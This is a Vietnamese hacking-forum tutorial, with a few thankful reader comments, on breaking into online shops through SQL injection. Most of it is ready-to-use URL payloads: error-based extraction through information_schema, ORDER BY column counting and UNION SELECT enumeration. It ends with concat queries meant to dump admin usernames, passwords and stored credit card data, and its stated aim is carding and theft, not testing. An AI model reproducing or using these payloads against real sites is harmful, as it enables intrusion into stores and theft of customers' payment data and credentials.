TUT hack shop - sql injection
Hôm nay viết cái tut về hack shop hay cụ thể hơn là SQL Injection đảm bảo bổ ích cho newbie. Xem xong nhớ thanks vì tut này do @ tự đúc kết trong đầu lại chứ không phải leech ở đâu.
Pro xem xong đừng nói lời đắng cay....
Mọi thắc mắc về SQL injection pm mình qua Y!M: kingmax_killer (chỉ chấp nhận hướng dẫn những ai đã thanks )
Hack shop thì có nhiều cách nhưng sẽ có 1 số cách chung. Bạn sẽ dễ dàng nhập vô bài viết hơn nếu bạn hiểu rõ cấu trúc cơ sở dữ liệu của SQL. Bạn nên cài xamp trên localhost và vào phpmyadmin để coi cấu trúc cơ sở dữ liệu (CSDL) SQL. Ok let's go đi vào bài viết.
################################
Muốn biết shop đó có dính lỗi SQL Injection (từ nay gọi tắt là SQL) thì đa phần các bạn hãy thêm dấu ' vào sau link:
Quote:
http://shop.com/product.asp?id=15'
Nếu may mắn thì nó sẽ báo lỗi (tức là không trả về trang http://shop.com/product.asp?id=15 như bình thường). Đại khái là nó sẽ bào lỗi "Unclose" gì gì đó. Đôi khi các bạn sẽ gặp lỗi Jet database. Những shop đó dùng database là Jet chứ không phải là SQL. Vấn đề đó không đề cập tới trong bài viết.
Ok nếu bạn đã biết được shop đó dính lỗi rồi thì sao nữa nhỉ?
Cách 1: tốt nhất là bạn hãy dùng tool hack shop auto. . Nếu không được thì mới xuống dưới.
Cách 2:
Bước 1: thêm đoạn code sau vào sau link lỗi của shop
Quote:
and 1=convert(select top 1 table_name from information_schema.tables)--sp_password
Nhớ có khoảng trắng trước chữ "and"
Cụ thể sẽ là:
Quote:
http://shop.com/product.asp?id=15 and 1=convert(select top 1 table_name from information_schema.tables)--sp_password
Dịch nghĩa câu: "select top 1 table_name from information_schema.tables" ~~>>> đưa ra bảng đầu tiên từ bảng "information_schema.tables" (bảng information_schema.tables là bảng lớn nhất, tất cả các bảng khác đều lưu trong này)
Đối với 1 số trường hợp sẽ phải có dấu phẩy ' ở sau số 15, cái này không biết trước được tùy từng shop các bạn nên linh động. Nếu
Quote:
http://shop.com/product.asp?id=15 and 1=convert(select top 1 table_name from information_schema.tables)--sp_password
<<<<< không được thì mình chơi thế này:
Quote:
http://shop.com/product.asp?id=15' and 1=convert(select top 1 table_name from information_schema.tables)--sp_password
Sau khi enter thì nó sẽ hiện ra lỗi đại khái là: Syntax eror converting... value 'table test' to column of data...
Khi đó chúng ta sẽ biết được table đầu tiên là "table test". Còn nếu không hiện ra lỗi gì thì bỏ shop đó đi hoặc thử Cách khác.
Bước 2: thêm đoạn code sau link lỗi của shop
Quote:
http://shop.com/product.asp?id=15 and 1=convert(select top 1 table_name from information_schema.tables where table_name not in('table test'))--sp_password
Dịch nghĩa "select top 1 table_name from information_schema.tables where table_name not in('table test')" <<<<< đưa ra table_name đầu tiên trong "information_schema.tables" và table_name không phải là table test
Nếu tới đây mà vẫn hiện ra lỗi như lỗi trên thì bạn hãy ngừng ngay lập tức ở đây. Bởi vì @ không hiểu vì sao bạn dùng tool hack shop auto không được mà dùng mấy đoạn code trên lại được nhỉ? Các tool hack shop auto hiện nay đều dùng các code trên để hack shop. Bạn hãy kiểm tra xem cái link shop bạn đưa vào tool đã đúng chưa. Vd :
Quote:
http://shop.com/product.asp?id=15
<<<<< nhấn submit, nếu ko ra gì hết thì:
Quote:
http://shop.com/product.asp?id=15'
Coi như xong cách này nhé.
Cách 3:
1/. Xác định số column của shop (bạn sẽ hiểu hơn nếu bạn bik về cấu trúc CSDL). Thêm đoạn code sau vào link lỗi của shop
Quote:
order by 100
<<< trước "order" có dấu cách, sau số 100 có thể thêm "/*" nếu cần:
Quote:
order by 100/*
Cụ thể là:
Quote:
http://shop.com/product.asp?id=15 order by 100
Ở đây có 2 trường hợp:
TH1: nếu trả về trang ban đầu thì sẽ TRUE tức là shop đó có số column lớn hơn hoặc bằng 100. Lúc đó bạn hãy tăng số 100 lên cho tới khi hiện ra lỗi như ở TH2. Vd:
Quote:
order by 150
TH2: nếu trả về trang ban đầu nhưng không có chữ (hoặc hiện ra lỗi) thì sẽ FALSE tức là shop đó có số column nhỏ hơn 100. Lúc đó bạn hãy giảm số 100 xuống cho tới khi hiện ra như ở TH1. Khó hiểu quá...Giả sử @ sẽ làm như sau:
Quote:
http://shop.com/product.asp?id=15 order by 100
<<<<< lỗi
Quote:
http://shop.com/product.asp?id=15 order by 50
<<<<< i =""> số column nằm trong khoảng 50 < column <100
Quote:
http://shop.com/product.asp?id=15 order by 70
<<<<< i =""> số column nằm trong khoảng 70 < column <100
Quote:
http://shop.com/product.asp?id=15 order by 80
<<<<< i =""> số column nằm trong khoảng 80 < column <100
Quote:
http://shop.com/product.asp?id=15 order by 90
<<<<< i =""> số column nằm trong khoảng 80 < column <90
Tức là thu hẹp khoảng cách lại. Típ:
Quote:
http://shop.com/product.asp?id=15 order by 85
<<<<< i =""> số column nằm trong khoảng 85 < column <90
Quote:
http://shop.com/product.asp?id=15 order by 88
<<<<< i =""> số column nằm trong khoảng 85 < column <88
Quote:
http://shop.com/product.asp?id=15 order by 86
<<<<< i =""> số column nằm trong khoảng 86 < column <88
Quote:
http://shop.com/product.asp?id=15 order by 87
<<<<< i =""> số column nằm trong khoảng 86 < column <87
"order by 86" không có lỗi nhưng "order by 87" có lỗi thế thì suy ra số column là 86. Hiểu rồi chứ, thu hẹp lại...
Bước 2: thêm đoạn code sau vào link lỗi
Quote:
union select 1,2,3,4,5,6,7,8,9,10,11,12,13...............,83,84 ,85,86
<<<< các bạn phẩy tới khi nào tới 86 thì thôi nhé.
Nếu hiện ra 1 trang bảo đại khái là: Syntax "union select" thì bỏ đi shop đó không ăn được đâu. Còn nếu nó hiện ra 1 trang trên đó có các số, bạn hãy lưu các số hiện ra trên màn hình lại. Bạn có thể thêm limit 1,1 (limit 0,1) sau đuôi 83,84,85,86 nếu nó chẳng hiện ra số nào cả.Vd:
Quote:
http://shop.com/product.asp?id=15 union select 1,2,3,4,5,6,7,8,9,10,11,12,13...............,83,84 ,85,86 limit 1,1
Quote:
http://shop.com/product.asp?id=15 union select 1,2,3,4,5,6,7,8,9,10,11,12,13...............,83,84 ,85,86 limit 0,1
Lưu mấy số hiện ra trên màn hình rồi chứ? Ok giờ thay chữ "table_name" vào 1 trong các số đấy. Vd: của mình hiện ra số 2,3,5. Ok thay chữ table_name và 1 trong 3 số đó. Vd:
Quote:
http://shop.com/product.asp?id=15 union select 1,table_name,3,4,5,6,7,8,9,10,11,12,13............ ...,83,84,85,86 from information_schema.tables limit 1,1
Giờ nó sẽ hiện ra tables đầu tiên, lấy tables tiếp theo thì thêm where table_name not in('table đầu tiên')
Quote:
http://shop.com/product.asp?id=15 union select 1,table_name,3,4,5,6,7,8,9,10,11,12,13............ ...,83,84,85,86 from information_schema.tables where table_name not in('table đầu tiên') limit 1,1
Ra table thứ 2, rùi cứ típ tục thêm dấu phẩy sau table thứ nhất, viết table thứ 2 vào hoặc dùng limit 2,1
Quote:
http://shop.com/product.asp?id=15 union select 1,table_name,3,4,5,6,7,8,9,10,11,12,13............ ...,83,84,85,86 from information_schema.tables where table_name not in('table đầu tiên','table thứ 2') limit 1,1
hoặc
Quote:
http://shop.com/product.asp?id=15 union select 1,table_name,3,4,5,6,7,8,9,10,11,12,13............ ...,83,84,85,86 from information_schema.tables where table_name not in('table đầu tiên') limit 2,1
Nói chung tùy từng trường hợp
Khi lấy tới table có user và pass admin hoặc tables lưu CC rùi thì dừng lại. Thêm đoạn code sau vào link shop lỗi.
Quote:
union select 1,column_name,3,4,5,6,7,8,9,10,11,12,13........... ....,83,84,85,86 from information_schema.columns where table_name in('table chứa cc hoặc u & p admin') limit 1,1
Chú ý: thêm limit 1,1 nếu cần
Ra column đầu tiên dùng típ đoạn code sau:
Quote:
union select 1,column_name,3,4,5,6,7,8,9,10,11,12,13........... ....,83,84,85,86 from information_schema.columns where table_name in('table chứa cc hoặc u & p admin') and column_name not in('column đầu tiên') limit 1,1
Rồi cứ làm như lấy tables thứ 2 thứ 3
Khi đã ra hết các column thì bi giờ đi vào phần sướng nhứt. Dùng code sau:
Quote:
union select 1,concat(column đầu tiên,0x2f,column thứ 2,0x2f,column thứ 3,0x2f,column thứ 4),3,4,5,6,7,8,9,10,11,12,13...............,83,84, 85,86 from table chứa cc hoặc u & p admin limit 1,1
Lấy cc thứ 2 dùng code sau:
Quote:
union select 1,concat(column đầu tiên,0x2f,column thứ 2,0x2f,column thứ 3,0x2f,column thứ 4),3,4,5,6,7,8,9,10,11,12,13...............,83,84, 85,86 from table chứa cc hoặc u & p admin and column thứ nhất not in('phần đầu của cc đầu tiên') limit 1,1
Típ theo thì cứ như lấy table thứ 2 , thứ 3 ý, cứ thêm đầu phẩy vào và enjoy.
End tut.
TUT by Mr.@ from VHC
Các ae cứ nghiên cứu đi 2 ngày nữa mình post video lên xem.
Mọi thắc mắc về SQL injection pm mình qua Y!M: kingmax_killer
Thanks bạn nhá nó rất hữu ích.Mình đang tìm hiểu cái này rất mong bạn giúp đỡ
Trả lờiXóaYm:iuay.nhiu
Cảm ơn và hậu tạ hihi
Thank bạn..mình add yahoo của bạn..mong chỉ giáo
Trả lờiXóathank Pro mình add yahoo bạn nhé :D
Trả lờiXóa